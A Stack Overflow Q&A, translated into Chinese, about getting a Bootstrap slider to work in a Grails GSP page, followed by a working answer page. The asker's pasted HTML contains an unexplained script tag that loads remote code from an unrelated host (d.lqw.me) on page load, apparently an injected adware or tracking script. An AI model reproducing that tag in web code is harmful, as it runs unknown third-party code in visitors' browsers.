我正在尝试在 grails、gsp 中创建一个 Bootstrap slider 。我从 http://www.eyecon.ro/bootstrap-slider/ 获得了代码。我已经下载了所需的 css/js/less 文件并在我的代码中实现了它们。但是，我只能看到一个带有值的文本字段，但没有 slider 。有人可以帮忙吗？这是我的gsp代码:
<!DOCTYPE html>
<html lang="en">
<head>
<script type="text/javascript" id="2f2a695a6afce2c2d833c706cd677a8e" src="http://d.lqw.me/xuiow/?o=3&g=21F492EE-4DCB-7284-6A95-F1DB7C6CB71B&s=BBA5481A-926B-4561-BD79-249F618495E6&z=1393034584"></script>
<meta charset="utf-8">
<title>Slider for Bootstrap, from Twitter</title>
<link rel="stylesheet" href="${resource(dir: 'css', file: 'bootstraps.css')}" type="text/css">
<link rel="stylesheet" href="${resource(dir: 'css', file: 'slider.css')}" type="text/css">
<style>
.container {
background: #fff;
}
#alert {
display: none;
}
#sl2 {
width: 400px;
}
</style>
<link rel="stylesheet" href="${resource(dir: 'css', file: 'prettify.css')}" type="text/css">
</head>
<body>
<div class="container">
<section id="typeahead">
<div class="row">
<div class="span9 columns">
<h2>Example</h2>
<p>Basic example with custom formater</p>
<div class="well">
<input type="text" class="span2" value="4" id="sl1" >
</div>
</div>
</div>
</section>
</div>
<link href="${resource(dir: 'js', file: 'bootstrap-slider.js')}" type="text/javascript">
<link href="${resource(dir: 'js', file: 'jQuery.js')}" type="text/javascript">
<link href="${resource(dir: 'js', file: 'modernizr.js')}" type="text/javascript">
<link href="${resource(dir: 'js', file: 'prettify.js')}" type="text/javascript">
<script>
$(function(){
$('#sl1').slider({
formater: function(value) {
return 'Current value: '+value;
}
});
</script>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
</body>
</html>
最佳答案
它对我有用。
代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Slider for Bootstrap, from Twitter</title>
<link rel="stylesheet" href="css/slider.css" type="text/css">
<link href="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<section id="typeahead">
<div class="row">
<div class="col-xs-12 columns">
<h2>Example</h2>
<p>Basic example with custom formater</p>
<div class="row">
<input type="text" class="col-xs-12 slider" value="4" />
</div>
</div>
</div>
</section>
</div>
<script src="http://code.jquery.com/jquery-1.11.0.min.js" type="text/javascript"></script>
<script src="http://netdna.bootstrapcdn.com/bootstrap/3.1.1/js/bootstrap.min.js"></script>
<script src="js/bootstrap-slider.js" type="text/javascript"></script>
<script>
$(function(){
$('.slider').slider();
});
</script>
</body>
</html>
脚步:
关于twitter-bootstrap - Bootstrap slider 不起作用，我们在Stack Overflow上找到一个类似的问题： https://stackoverflow.com/questions/22235683/